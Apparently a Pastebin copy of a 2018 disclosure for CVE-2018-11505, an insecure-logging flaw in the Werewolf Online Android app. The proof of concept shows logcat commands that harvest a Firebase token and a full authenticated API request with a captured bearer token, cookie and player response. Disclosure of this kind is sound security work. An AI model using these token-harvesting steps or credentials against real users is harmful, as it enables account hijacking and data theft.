daily pastebin goal
65%
SHARE
TWEET

CVE-2018-11505

ManhNho May 25th, 2018 (edited) 323 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # Exploit Title: Werewolf Online 0.8.8  - Insecure Logging
  2. # Date: 2018-05-24
  3. # Software Link: https://play.google.com/store/apps/details?id=com.werewolfapps.online
  4. # Download Link: https://apkpure.com/werewolf-online-unreleased/com.werewolfapps.online/download?from=details
  5. # Exploit Author: ManhNho
  6. # Version: 0.8.8 Android App
  7. # CVE: CVE-2018-11505
  8. # Category: Mobile Apps
  9. # Tested on: Android 4.4
  10.  
  11. ---Description---
  12.  
  13. Many developers log information to the android log. Sometimes sensitive data as well.
  14. With output of logcat, Hacker can get "Firebase token" which used in PUT request to /players/meAndCheckAppVersion
  15.  
  16. ---PoC---
  17.  
  18. root@vbox86p:/ # ps | grep 'were'
  19. u0_a72    9161  205   810364 172268 ffffffff b765ea23 S com.werewolfapps.online
  20. root@vbox86p:/ # logcat | grep -i '9161'
  21. I/ActivityManager(  586): Start proc com.werewolfapps.online for activity com.werewolfapps.online/.MainActivity: pid=9161 uid=10072 gids={50072, 3003, 1028, 1015}
  22. I/MultiDex( 9161): VM with version 1.6.0 does not have multidex support
  23. I/MultiDex( 9161): Installing application
  24. ...
  25. D/RNFirebaseMessaging( 9161): Firebase token: dygrGiSN49o:APA91bGGcHdzgU_2SnDydd8R7_Lbj6KT7miTpBatk_j8pLhxgH9vX00vV3CuIEnVkqgK9HC8H9pldMeaUeJ2_H3Dz4QiXE0b3mlQA0lXvry6cAMwS77Jv3m6NJyuGu_7Hn-3E1BPRRh8
  26. D/RNFirebaseAuth( 9161): getToken/getIdToken
  27. D/RNFirebaseAuth( 9161): getToken:onComplete:success
  28. ...
  29.  
  30. Request:
  31.  
  32. PUT /players/meAndCheckAppVersion HTTP/1.1
  33. authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMDUwYzMxN2ExMjJlZDhlMWZlODdkN2FhZTdlMzk3OTBmNmMwYjQifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vd2VyZXdvbGYtb25saW5lLTE5MTgxMiIsImF1ZCI6IndlcmV3b2xmLW9ubGluZS0xOTE4MTIiLCJhdXRoX3RpbWUiOjE1MjcxMzU0MTUsInVzZXJfaWQiOiIzNUxUT2pGWGw4Tk1DMklURDZlc1VUdVZ0RDgyIiwic3ViIjoiMzVMVE9qRlhsOE5NQzJJVEQ2ZXNVVHVWdEQ4MiIsImlhdCI6MTUyNzEzNTQxNSwiZXhwIjoxNTI3MTM5MDE1LCJlbWFpbCI6IndlcmVAMGlscy5vcmciLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsImZpcmViYXNlIjp7ImlkZW50aXRpZXMiOnsiZW1haWwiOlsid2VyZUAwaWxzLm9yZyJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.dRcMrVgnOI0VlVMTinv_UitmNZ3Lx6MxWQkPbxrLtj4xNI-5TmqL-oMHA3M4wWxt6gCtvNl9aO10WzhHHaN5wSJ7cnuUkEJGNUmA5PUcQTR7-NJ8i28C_x7fkqbQYqr0LFJSNxfa3BNb6B8qRNPmNjf_k3KoarRtp2eIxXbY_2Zf9S9-E8qBeyMM5waBrc3KHhxP8fIkxmDQOcTi83YioD0B9lmb8pqzu2kHARhySDIRLxHehujSMbOBnwEdSWNdYXv3G0r9SSJqREjyjv-xYqMzmDYElQ71LcanaoKeHmyyEDnuKyctkyvOOKUARV5QF1eMvvS2jQXlHQUIr2slHw
  34. Content-Type: application/json; charset=utf-8
  35. Content-Length: 207
  36. Host: api-core.werewolf-apps.com
  37. Connection: close
  38. Accept-Encoding: gzip, deflate
  39. Cookie: AWSELB=896D69710664CD95B9C2256646A1D3D31F91AA414E0FCA5064E93F2745A17C7AAAF7C2EDA090955CDC20408E213D8C06ACC71A484F0BB3CDD1FB3D4FADD3439C18EF311AB3
  40. User-Agent: okhttp/3.6.0
  41.  
  42. {"versionNumber":48,"platform":"android","fcmToken":"dygrGiSN49o:APA91bGGcHdzgU_2SnDydd8R7_Lbj6KT7miTpBatk_j8pLhxgH9vX00vV3CuIEnVkqgK9HC8H9pldMeaUeJ2_H3Dz4QiXE0b3mlQA0lXvry6cAMwS77Jv3m6NJyuGu_7Hn-3E1BPRRh8"}
  43.  
  44. Response:
  45.  
  46. HTTP/1.1 200 OK
  47. Content-Type: application/json
  48. Date: Thu, 24 May 2018 04:25:31 GMT
  49. Server: nginx/1.12.1
  50. Content-Length: 1303
  51. Connection: Close
  52.  
  53. {"player":{"username":"wereboy","id":"5382e87c-db2c-4c9e-8a30-9b206d48ecb0","rank":1,"level":1,"xpTotal":45,"xpUntilNextLevel":155,"playerStats":{"finishedGamesCount":3,"totalPlayTimeInMinutes":13,"exitGameBySuicideCount":0,"exitGameAfterDeathCount":0,"gamesSurvivedCount":1,"gamesKilledCount":2,"lastGameEndTime":"2018-05-23T08:49:40.979Z","seerLooseCount":0,"roleStats":{"sorcerer":{"winCount":0,"loseCount":0},"werewolf":{"winCount":0,"loseCount":0},"bodyguard":{"winCount":0,"loseCount":0},"villager":{"winCount":0,"loseCount":0},"priest":{"winCount":0,"loseCount":0},"seer":{"winCount":0,"loseCount":0},"medium":{"winCount":0,"loseCount":0},"jailer":{"winCount":0,"loseCount":1},"doctor":{"winCount":0,"loseCount":0},"headhunter":{"winCount":0,"loseCount":0},"wolf-shaman":{"winCount":0,"loseCount":0},"fool":{"winCount":0,"loseCount":0},"aura-seer":{"winCount":0,"loseCount":0},"serial-killer":{"winCount":0,"loseCount":0},"gunner":{"winCount":0,"loseCount":0},"alpha-werewolf":{"winCount":0,"loseCount":2}}},"bannedCount":0,"watchedVideoAdsCount":0,"gender":"MALE","lastOnline":"2018-05-23T04:20:29.571Z","xpInLevel":200},"isUpdateRequired":false,"latestAppVersion":{"id":"76f6895e-3140-4265-95da-97f1ab59b554","platform":"ANDROID","versionString":"0.8.8","versionNumber":47,"isMandatory":false}}
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top